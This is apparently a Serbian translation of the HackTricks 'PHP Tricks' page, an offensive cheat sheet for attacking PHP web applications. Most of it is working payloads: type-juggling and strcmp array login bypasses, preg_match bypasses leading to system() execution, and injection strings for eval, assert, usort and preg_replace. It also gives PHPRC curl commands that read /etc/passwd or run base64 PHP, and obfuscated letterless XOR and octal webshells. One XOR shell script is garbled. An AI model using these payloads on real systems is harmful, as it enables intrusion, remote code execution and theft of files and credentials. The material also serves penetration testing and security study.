PHP Tricks

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Česta lokacija kolačića:

Ovo važi i za kolačiće phpMyAdmin-a.

Kolačići:

PHPSESSID
phpMyAdmin

Lokacije:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Zaobilaženje PHP poredjenja

Labava poredjenja/Tip Juggling ( == )

Ako se koristi == u PHP-u, mogu se pojaviti neočekivani slučajevi gde poredjenje ne radi kako se očekuje. To je zato što "==" uporedjuje samo vrednosti transformisane u isti tip, ako želite da uporedite i da li je tip uporedjenih podataka isti, treba koristiti ===.

Tabele za poredjenje u PHP-u: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True String koji ne počinje brojem je jednak broju

  • "0xAAAA" == "43690" -> True Stringovi sastavljeni od brojeva u dec ili heks formatu mogu biti uporedjeni sa drugim brojevima/stringovima sa True rezultatom ako su brojevi isti (brojevi u stringu se interpretiraju kao brojevi)

  • "0e3264578" == 0 --> True String koji počinje sa "0e" i sledi bilo šta će biti jednak 0

  • "0X3264578" == 0X --> True String koji počinje sa "0" i sledi bilo koje slovo (X može biti bilo koje slovo) i sledi bilo šta će biti jednak 0

  • "0e12334" == "0" --> True Ovo je veoma interesantno jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i uporedjuje sa njim. Stoga, ako možete pružiti vrednost koja će kreirati heš koji počinje sa "0e" i bez bilo kog slova, možete zaobići poredjenje. Možete pronaći već heširane stringove sa ovim formatom ovde: https://github.com/spaze/hashes

  • "X" == 0 --> True Bilo koje slovo u stringu je jednako int 0

Više informacija na https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Tip Juggling takođe utiče na funkciju in_array() po default-u (treba postaviti na true treći argument da bi se napravilo strogo poredjenje):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Ako se ova funkcija koristi za bilo koju proveru autentifikacije (kao što je provera lozinke) i korisnik kontroliše jednu stranu poređenja, može poslati prazan niz umesto stringa kao vrednost lozinke (https://example.com/login.php/?username=admin&password[]=) i zaobići ovu proveru:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Stroga vrsta prebacivanja

Čak i ako se koristi ===, mogu se pojaviti greške koje čine poređenje ranjivim na vrstu prebacivanja. Na primer, ako poređenje konvertuje podatke u drugačiji tip objekta pre poređenja:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() može se koristiti za validaciju korisničkog unosa (proverava da li je bilo koja reč/regex iz crne liste prisutna u korisničkom unosu i ako nije, kod može nastaviti svoje izvršavanje).

Zaobilaženje nove linije

Međutim, kada se deliminiše početak regexp-a, preg_match() proverava samo prvu liniju korisničkog unosa, pa ako na neki način možete poslati unos u nekoliko linija, možete zaobići ovu proveru. Primer:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Da biste zaobišli ovu proveru, možete poslati vrednost sa novim linijama url-kodiranu (%0A) ili, ako možete poslati JSON podatke, pošaljite ih u nekoliko linija:

{
"cmd": "cat /etc/passwd"
}

Pronađite primer ovde: https://ramadistra.dev/fbctf-2019-rceservice

Bajpasovanje greške dužine

(Ovaj bajpas je navodno pokušan na PHP 5.2.5 i nisam uspeo da ga pokrenem na PHP 7.3.15) Ako možete poslati preg_match() validan veoma veliki unos, on neće moći da ga obradi i moći ćete da bajpasujete proveru. Na primer, ako je na crnoj listi JSON, možete poslati:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS Bypass

Trik sa: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 i https://mizu.re/post/pong

Ukratko, problem se dešava zbog toga što funkcije preg_* u PHP-u zavise od PCRE biblioteke. U PCRE određeni regularni izrazi se podudaraju korišćenjem velikog broja rekurzivnih poziva, što troši puno stack prostora. Moguće je postaviti ograničenje na broj dozvoljenih rekurzija, ali u PHP-u to ograničenje podrazumevano iznosi 100.000 što je više nego što stane u stack.

U ovom Stackoverflow thread-u takođe je povezan u postu gde se detaljnije govori o ovom problemu. Naš zadatak je sada bio jasan: Poslati unos koji će naterati regex da izvrši 100_000+ rekurzija, izazivajući SIGSEGV, čineći da funkcija preg_match() vrati false, čime aplikacija misli da naš unos nije zlonameran, bacajući iznenađenje na kraju payload-a nešto poput {system(<veomazla naredba>)} da bismo dobili SSTI --> RCE --> zastavica :).

Pa, u regex terminima, zapravo ne radimo 100k "rekurzija", već brojimo "korake povratka", što, kako PHP dokumentacija navodi, podrazumevano iznosi 1_000_000 (1M) u promenljivoj pcre.backtrack_limit. Da bismo to postigli, 'X'*500_001 će rezultirati sa 1 milion koraka povratka (500k unapred i 500k unazad):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Tipovanje tipova za zamagljivanje PHP-a

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Izvrši nakon preusmeravanja (EAR)

Ako PHP preusmerava na drugu stranicu, ali nijedna funkcija die ili exit nije pozvana nakon postavljanja zaglavlja Location, PHP nastavlja izvršavanje i dodaje podatke u telo:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Iskorišćavanje putanje pretrage i uključivanje datoteka

Proverite:

pageFile Inclusion/Path traversal

Više trikova

  • register_globals: U PHP < 4.1.1.1 ili ako je loše konfigurisan, register_globals može biti aktivan (ili se njihovo ponašanje oponaša). Ovo implicira da u globalnim promenljivima poput $_GET, ako imaju vrednost npr. $_GET["param"]="1234", možete pristupiti tome putem $param. Stoga, slanjem HTTP parametara možete prepisati promenljive koje se koriste unutar koda.

  • PHPSESSION kolačići iste domene se čuvaju na istom mestu, stoga ako se unutar domene koriste različiti kolačići u različitim putanjama možete napraviti da jedna putanja pristupi kolačiću putanje postavljajući vrednost kolačića druge putanje. Na ovaj način, ako obe putanje pristupaju promenljivoj istog imena možete napraviti da vrednost te promenljive u putanji1 važi za putanju2. Zatim će putanja2 smatrati važećim promenljive putanje1 (dajući kolačiću ime koje odgovara putanji2).

  • Kada imate korisnička imena korisnika mašine. Proverite adresu: /~<USERNAME> da biste videli da li su php direktorijumi aktivirani.

password_hash/password_verify

Ove funkcije se obično koriste u PHP-u za generisanje heševa iz lozinki i za proveru da li je lozinka ispravna u poređenju sa hešom. Podržani algoritmi su: PASSWORD_DEFAULT i PASSWORD_BCRYPT (počinje sa $2y$). Imajte na umu da je PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT. Trenutno, PASSWORD_BCRYPT ima ograničenje veličine ulaza od 72 bajta. Stoga, kada pokušate da hešujete nešto veće od 72 bajta ovim algoritmom, koristiće se samo prvih 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Zaobilaženje HTTP zaglavlja zloupotrebom PHP grešaka

Ako PHP stranica ispisuje greške i vraća neke korisnički unete podatke, korisnik može naterati PHP server da vrati neki sadržaj dovoljno dug tako da kada pokuša dodati zaglavlja u odgovor, server će baciti grešku. U sledećem scenariju napadač je naterao server da baci neke velike greške, i kao što možete videti na ekranu kada je php pokušao modifikovati informacije zaglavlja, nije mogao (tako da na primer CSP zaglavlje nije poslato korisniku):

Izvršenje koda

system("ls"); `ls`; shell_exec("ls");

Pogledajte ovo za više korisnih PHP funkcija

RCE putem preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Da bi se izvršio kod u "replace" argumentu, potrebno je imati barem jedno poklapanje. Ova opcija preg_replace funkcije je zastarela od PHP 5.5.0.

RCE putem Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE putem Assert()

Ova funkcija unutar php-a vam omogućava da izvršite kod koji je napisan u stringu kako biste vratili tačno ili netačno (i u zavisnosti od toga izmenili izvršenje). Obično će korisnička promenljiva biti umetnuta usred stringa. Na primer: assert("strpos($_GET['page']),'..') === false") --> U ovom slučaju da biste dobili RCE možete uraditi:

?page=a','NeVeR') === false and system('ls') and strpos('a

Potrebno je prekinuti sintaksu koda, dodati svoj payload, a zatim je ponovo popraviti. Možete koristiti logičke operacije poput "and" ili "%26%26" ili "|". Imajte na umu da "or", "||" neće raditi jer ako je prvi uslov tačan, naš payload neće biti izvršen. Isto tako, ";" neće raditi jer naš payload neće biti izvršen.

Druga opcija je dodati izvršenje komande u string: '.highlight_file('.passwd').'

Druga opcija (ako imate interni kod) je izmeniti neku promenljivu kako biste promenili izvršenje: $file = "hola"

RCE putem usort()

Ova funkcija se koristi za sortiranje niza stavki pomoću određene funkcije. Da biste zloupotrebili ovu funkciju:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Možete takođe koristiti // da biste komentarisali ostatak koda.

Da biste otkrili broj zagrada koje treba zatvoriti:

  • ?order=id;}//: dobijamo poruku o grešci (Parse error: syntax error, unexpected ';'). Verovatno nam nedostaje jedna ili više zagrada.

  • ?order=id);}//: dobijamo upozorenje. To deluje ispravno.

  • ?order=id));}//: dobijamo poruku o grešci (Parse error: syntax error, unexpected ')' i). Verovatno imamo previše zatvorenih zagrada.

RCE putem .httaccess

Ako možete da otpremite .htaccess, možete konfigurisati nekoliko stvari i čak izvršiti kod (konfigurišući da se fajlovi sa ekstenzijom .htaccess mogu izvršiti).

Različite .htaccess ljuske mogu se pronaći ovde

RCE putem Env promenljivih

Ako pronađete ranjivost koja vam omogućava da modifikujete env promenljive u PHP-u (i još jednu za otpremanje fajlova, mada uz više istraživanja možda se to može zaobići), možete iskoristiti ovaj ponašanje da biste dobili RCE.

  • LD_PRELOAD: Ova env promenljiva omogućava vam da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih fajlova (mada u ovom slučaju možda neće raditi).

  • PHPRC : Naređuje PHP-u gde da locira svoj konfiguracioni fajl, obično nazvan php.ini. Ako možete otpremiti svoj konfiguracioni fajl, onda koristite PHPRC da ga usmerite na PHP. Dodajte unos auto_prepend_file koji navodi drugi otpremljeni fajl. Taj drugi fajl sadrži normalan PHP kod, koji se zatim izvršava od strane PHP runtime-a pre bilo kog drugog koda.

  1. Otpremite PHP fajl koji sadrži naš shell kod

  2. Otpremite drugi fajl koji sadrži direktivu auto_prepend_file koja naređuje PHP preprocesoru da izvrši fajl koji smo otpremili u koraku 1

  3. Postavite promenljivu PHPRC na fajl koji smo otpremili u koraku 2.

  • Dobijte više informacija o tome kako izvršiti ovaj lanac iz originalnog izveštaja.

  • PHPRC - još jedna opcija

  • Ako ne možete otpremiti fajlove, možete koristiti u FreeBSD-u "fajl" /dev/fd/0 koji sadrži stdin, budeći telo zahteva poslatog na stdin:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Ili da biste dobili RCE, omogućite allow_url_include i dodajte fajl sa base64 PHP kodom:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

PHP Staticna analiza

Pogledajte da li možete ubaciti kod u pozive ovih funkcija (sa ovog):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Ako debagujete PHP aplikaciju, možete globalno omogućiti ispis grešaka u /etc/php5/apache2/php.ini dodavanjem display_errors = On i restartovati apache komandom: sudo systemctl restart apache2

Dekodiranje PHP koda

Možete koristiti web www.unphp.net za dekodiranje PHP koda.

PHP omotači i protokoli

PHP omotači i protokoli mogu vam omogućiti da zaobiđete zaštitu od pisanja i čitanja u sistemu i kompromitujete ga. Za više informacija pogledajte ovu stranicu.

Xdebug neautentifikovani RCE

Ako primetite da je Xdebug omogućen u izlazu phpconfig(), trebalo bi da pokušate da dobijete RCE preko https://github.com/nqxcode/xdebug-exploit

Promenljive promenljivih

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE zloupotreba novog $_GET["a"]($_GET["b"])

Ako na stranici možete kreirati novi objekat proizvoljne klase, možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:

pagePHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Izvršavanje PHP-a bez slova

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Korišćenje oktalnog oblika

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR jednostavan shell kod

Prema ovom objašnjenju, moguće je generisati jednostavan shell kod na sledeći način:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Dakle, ako možete izvršiti proizvoljni PHP bez brojeva i slova možete poslati zahtev poput sledećeg zloupotrebljavajući taj payload da biste izvršili proizvoljni PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Za detaljnije objašnjenje pogledajte https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (unutar eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl slično

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated